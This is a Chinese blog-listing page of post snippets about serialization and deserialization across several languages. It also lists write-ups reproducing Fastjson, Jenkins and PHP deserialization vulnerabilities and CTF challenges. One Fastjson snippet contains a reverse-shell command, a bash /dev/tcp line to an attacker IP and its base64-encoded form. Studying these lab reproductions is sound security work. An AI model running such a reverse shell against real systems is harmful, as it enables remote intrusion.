Pickle反序列化

一个恋爱小故事告诉你什么是gRPC？！

后者是网络传输中的协议，而RPC是一种设计、实现框架，通讯协议只是其中一部分，RPC不仅要解决协议通讯的问题，还有序列化与反序列化，以及消息通知。
上山打 老虎·2023-11-30 13:36

java的序列化和反序列化详解及示例

文章目录一、Java序列化的作用二、实现java对象的序列化和反序列化1、序列化规则2、序列化步骤3、注意事项三、序列化接口Serializable1、介绍2、示例四、实现接口Externalizable1
一瓢一瓢的饮 alanchan·2023-11-30 12:44

java的序列化和反序列化

java的序列化和反序列化目录java的序列化和反序列化java序列化java反序列化为什么要将java对象序列化序列化作用序列化和反序列化步骤创建一个实现了Serializable接口的对象序列化一个对象反序列化对象
YiHua_yiye·2023-11-30 12:41

XmlElement注解在Java列表属性：要注意实例化，否则从xml数据反序列化到Java对象会失败

需要注意该属性的实例化，如果不实例化的话，从xml数据反序列化到Java对象的时候出错。
听海边涛声·2023-11-30 11:18

深入了解Jackson库中的ObjectMapper：Java对象的序列化和反序列化

Jackson库作为Java中最受欢迎的JSON处理库之一，提供了ObjectMapper类来简化对象的序列化和反序列化过程。
疯风0409·2023-11-30 10:08

[Python]基础函数

文件必须存在，否则引发异常data=f.read()readline()读取一行内容readlines()把内容按行读取至一个list中printdataf.close()或者用序列化模块importpicklef
神农架村姑·2023-11-30 08:50

I/O流

流的概念2.1、输入流2.1.1、字节输入流2.1.2、字符输入流2.2、输出流2.2.1、字节输出流2.2.2、字符输出流3、文件复制4、文件移动5、数据输入/输出流6、序列化读写6.1、序列化6.2、反序列化
我愿成为你头顶的云·2023-11-30 08:38

JAVA泛型的使用和深入理解

泛型的使用泛型类泛型接口泛型方法限定类型变量泛型的限制泛型类型的继承规则通配符泛型的实现原理(类型擦除)获取一个对象上的泛型类型Gson反序列化需要借助TypeToken为什么我们需要泛型？
谁谁谁动了我·2023-11-30 07:08

springboot+redis的demo整合

我在demo开发中，最容易出错点：redis获取对象的序列化与反序列化，对其数据结构（ValueOperations、SetOperations、ZSetOperations、HashOperations
developerFBI·2023-11-30 01:42

【python】练习：银行管理系统

#coding=utf-8importosimportpickle#可以让字典序列化#定义账户类classAccount:def__init__(self,name,password,balance=0
ZQAW·2023-11-29 22:01

SOME/IP协议详解[7 SOME/IP序列化]

什么是序列化与反序列化？序列化是指将数据结构或对象按定义的规则转换成二进制串的过程。反序列化是指将二进制串依据相同规则重新构建成数据结构或对象的过程。而本质就是一种编码规范。
大魔王库巴·2023-11-29 19:24

C#实体类与XML相互转换

把XML转换成相应的实体类，需要使用到XmlSerializer类的Deserialize方法，将XML进行反序列化。
pan_junbiao·2023-11-29 13:38

ASP.NET Core Web API设置响应输出的Json数据格式的两种方式

前言在ASP.NETCoreWebAPI中设置响应输出Json数据格式有两种方式，可以通过添加System.Text.Json或Newtonsoft.JsonJSON序列化和反序列化库在应用程序中全局设置接口响应的
液态不合群·2023-11-29 12:44

IO流-ObjectInputStream对象处理流（序列化与反序列化）

对象处理流ObjectInputStream（反序列化）,ObjectOutputStream（序列化）在开发中会有这样一些需求，例如要求将int100，Dog对象序列化到文件中，需要时再反序列化到代码中
象鼻山大王、·2023-11-29 11:49

python机器学习：决策树（2）

frommatplotlib.font_managerimportFontPropertiesimportmatplotlib.pyplotaspltfrommathimportlogimportoperatorimportpickledefcreateDataSet
HarryStudyPython_ing·2023-11-29 11:02

ASP.NET Core Web API设置响应输出的Json数据格式的两种方式

前言在ASP.NETCoreWebAPI中设置响应输出Json数据格式有两种方式，可以通过添加System.Text.Json或Newtonsoft.JsonJSON序列化和反序列化库在应用程序中全局设置接口响应的
追逐时光者·2023-11-29 10:22

Pikachu靶场（PHP反序列化漏洞）

查看php反序列化漏洞的概述，了解序列化与反序列化。构造payloadalert('wjy')";}$c=newS();echo(serialize($c));?
西柠！·2023-11-29 08:52

C++ 二进制数据序列化和反序列化

一、基础知识1、memcpy:内存拷贝函数函数原型：void*memcpy(void*dest,constvoid*src,size_tcount);2、代码编写(采用循环的方式将字节内容逐一拷贝)void*my_memcpy(void*dest,constvoid*src,size_tcount){assert(dest);//防止函数接受空指针进行操作assert(src);void*ret=
川谷_·2023-11-29 07:07

【计算机网络学习之路】序列化，反序列化和初识协议

文章目录前言一.序列化和反序列化1.自己实现2.JSON二.初识协议结束语前言本系列文章是计算机网络学习的笔记，欢迎大佬们阅读，纠错，分享相关知识。希望可以与你共同进步。
好想有猫猫·2023-11-29 07:53

Jackson 注解及配置大全

Jackson基本注解注解说明@JsonProperty属性注解，把属性的名称序列化时转换为另外一个名称@JsonIgnore属性注解，使相应字段不参与序列化和反序列化@JsonIgnoreProperties
小花卷的dad·2023-11-29 06:24

序列化体系之常用的序列化方案的深入浅出

今天我们来一起聊一下序列化和反序列化，其实这两个“活宝”对大家来说都不陌生，而且也会觉得这有什么好聊的，其实笔者之前也是这样想的，可就是这么简单的两个东西，反而往往会忽略。
初夏的雪·2023-11-29 05:06

jenkins 代码执行 (CVE-2017-1000353)漏洞复现

Jenkins的反序列化漏洞，攻击者使用该漏洞可以在被攻击服务器执行任意代码，漏洞利
梧六柒·2023-11-29 03:26

fastjson 1.2.24 反序列化导致任意命令执行漏洞

漏洞描述fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。参考资料：浅谈FastjsonRCE漏洞的绕过史-FreeBuf网络安全行业门户http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A
blackK_YC·2023-11-29 03:52

Fastjson-1.2.47远程命令执行漏洞(标明坑位)

真的是有其人的，于是花了一点时间去复现这个洞，毕竟工作上有可能会遇到的，并且也标明了一些坑位，反正按照这篇文章是可以100%机率可以复现成功的漏洞概述首先，Fastjson提供了autotype功能，允许用户在反序列化数据中通
晚安這個未知的世界·2023-11-29 03:51

fastjson漏洞 - Fastjson1.2.47反序列化漏洞

文章目录Fastjson简介历史漏洞Fastjson&/dev/tcp/攻击机ip/66660>&1进行base64编码bash-i>&/dev/tcp/192.168.88.128/99990>&1bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}java-
渗透测试小白·2023-11-29 03:20

fastjson 1.2.24 反序列化 CVE-2017-18349 && Fastjson 1.2.47 远程命令执行漏洞

前言fastjson库是Java的一个json库，其作用是将Java对象转换成json数据来表示，也可以将json数据转换成Java对象漏洞描述FastJson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。环境准备靶场：Vulhub靶机：192.168.239.128Kali：1
哇·咔咔·2023-11-29 03:20

rmi远程代码执行漏洞_Fastjson 1.2.47 远程命令执行漏洞 - 漏洞环境

fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。
weixin_39686192·2023-11-29 03:49

复现Fastjson 1.2.47 远程命令执行漏洞

fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。
清风-77·2023-11-29 03:17

Fastjson 1.2.47 远程命令执行漏洞复现记录分享

fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。因此在这里建议请及时更新至最新版本！
YezIwnl·2023-11-29 03:46

Fastjson 1.2.47 远程命令执行漏洞

fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。
blackK_YC·2023-11-29 03:37

Java相关的序列化与反序列化

一、序列化的目的存储传输深拷贝扩大权限定义将对象的状态信息组织为字节流（二进制流）的形式过程。实质一种用来处理对象流的机制结构化数据的编码二、序列化的技术分类Java语言专用Java内置序列化kryoFSTIDLThriftAvroprotocolbuffer非IDL技术XMLJSON三、Java序列化核心技术实现方式自定义实现Serializable（readObject和writeObject
拦路雨g·2023-11-28 22:10

Weblogic 常见漏洞汇总

WebLogicXMLDecoder反序列化漏洞（CVE
半只特立独行的猪·2023-11-28 18:19

pikachu靶场:php反序列化漏洞

pikachu靶场:php反序列化漏洞文章目录pikachu靶场:php反序列化漏洞代码审计漏洞利用代码审计像这种反序列化的代码基本都是代码审计出的//定义一个名为S的类，该类有一个属性$test和一个构造函数
抠脚大汉在网络·2023-11-28 17:00

Jackson的基本用法

Jackson是当前用的比较广泛的，用来序列化和反序列化json的Java的开源框架。
A_一只小菜鸟·2023-11-28 12:55

SparkSQL与parquet，处理decimal类型数据时遇到的问题及注意事项

SparkSQL为了更好的性能，在读写Hivemetastoreparquet格式的表时，会默认使用自己的ParquetSerDe，而不是采用Hive的SerDe进行序列化和反序列化。
雾岛与鲸·2023-11-28 11:03

玩转微服务-基础篇-JDK17实用特性

TextBlocks5.增强的伪随机数生成器6.密封类sealedclass7.NullPointerExceptions优化8.Stream.toList()9.Records10.JEP415：指定上下文的反序列化过滤器
Elcker·2023-11-28 11:22

反序列化漏洞

反序列化漏洞：序列化：就是把一个对象变成字符串，目的就是为了方便传输，或者保存在内存，文件（可以节省内存空间），数据库中。反序列化：就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
TEST_a130·2023-11-28 11:30

java对象 转换成json字符串 工具类 jackson

它提供了一组功能强大的API，用于在Java对象和JSON数据之间进行高效的序列化（将对象转换为JSON格式）和反序列化（将JSON转换为对象）操作。
丁真学java·2023-11-28 08:49

微服务之Dubbo介绍与用法

相比较，RPC的方式效率会更高，因为他们所传输的内容可能会较少，因此速度更快，以及性能消耗较少，比如说一些RPC传输以二进制的形式去快速传递，而HTTP需要以JSON格式的形式去传输，包括一些序列化与反序列化对象的时间
tttjh-·2023-11-28 07:58

微服务&Dubbo

4、Sentinel限流熔断降级核心源码剖析5、分布式事务(seata）6.序列化与反序列化二、Dubbo底层原理与源码1、为什么不注入实现类而是接口？通过按口怎么找到具体的提供者实现方法？
方生方死·2023-11-28 07:48

WEB渗透—反序列化（六）

Web渗透—反序列化课程学习分享（课程非本人制作，仅提供学习分享）靶场下载地址：GitHub-mcc0624/php_ser_Class:php反序列化靶场课程，基于课程制作的靶场课程地址：PHP反序列化漏洞学习
haosha。·2023-11-28 00:13

WEB渗透—反序列化（五）

Web渗透—反序列化课程学习分享（课程非本人制作，仅提供学习分享）靶场下载地址：GitHub-mcc0624/php_ser_Class:php反序列化靶场课程，基于课程制作的靶场课程地址：PHP反序列化漏洞学习
haosha。·2023-11-28 00:43

WEB渗透—反序列化（七）

Web渗透—反序列化课程学习分享（课程非本人制作，仅提供学习分享）靶场下载地址：GitHub-mcc0624/php_ser_Class:php反序列化靶场课程，基于课程制作的靶场课程地址：PHP反序列化漏洞学习
haosha。·2023-11-28 00:40

[MRCTF2020]Ezpop 1——pop链的反序列化

[MRCTF2020]Ezpop1进入环境，得到源码Welcometoindex.phpappend($this->var);}}classShow{public$source;public$str;publicfunction__construct($file='index.php'){$this->source=$file;echo'Welcometo'.$this->source."";}p
hcjtn·2023-11-27 22:22

pop链反序列化 [MRCTF2020]Ezpop1

打开题目网站源码为Welcometoindex.phpappend($this->var);}}classShow{public$source;public$str;publicfunction__construct($file='index.php'){$this->source=$file;echo'Welcometo'.$this->source."";}publicfunction__to
访白鹿·2023-11-27 22:21

使用Serializable接口进行JAVA的序列化和反序列化

OBJECTSTREAMS–SERIALIZATIONANDDESERIALIZATIONINJAVAEXAMPLEUSINGSERIALIZABLEINTERFACEHiteshGarg|November7,2014|io|9CommentsInthepreviousjavatutorialsIhavediscussedaboutbasicofjavastreams,bytestreams,th
weixin_30247159·2023-11-27 19:56

Make “location“ transient or serializable.

sonarqube代码扫描问题解释：Serializable类中的字段本身必须是Serializable或transient，即使该类从未显式序列化或反序列化。
明算科·2023-11-27 19:18

关于序列化与反序列化

asyncf(dataForm){//leturl=...//解构赋值,将axios返回的对象中的data取出,重命名为data//若dataForm为Object类型,axios会自动执行JSON.stringify()操作,const{data:res}=awaitthis.$axios.post(url,dataForm)}axios源码:会自动对Object的入参进行转换,转换成json字
uohzeyy·2023-11-27 13:02

序列化和反序列化

我们在开发的过程中常常遇到需要把对象或者数组进行序列号存储，反序列化输出的情况。特别是当需要把数组存储到mysql数据库中时，我们时常需要将数组进行序列号操作。
司文秦瘦·2023-11-27 13:32

JS序列化与反序列化

序列化将JSON对象转化为字符串varstr=JSON.stringify(obj)//将JSON对象转化为JSON字符反序列化将字符串转化为JSON对象varobj=JSON.prase(data)/
hh湫丶·2023-11-27 13:31
上一页 16 17 18 19 20 21 22 23 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他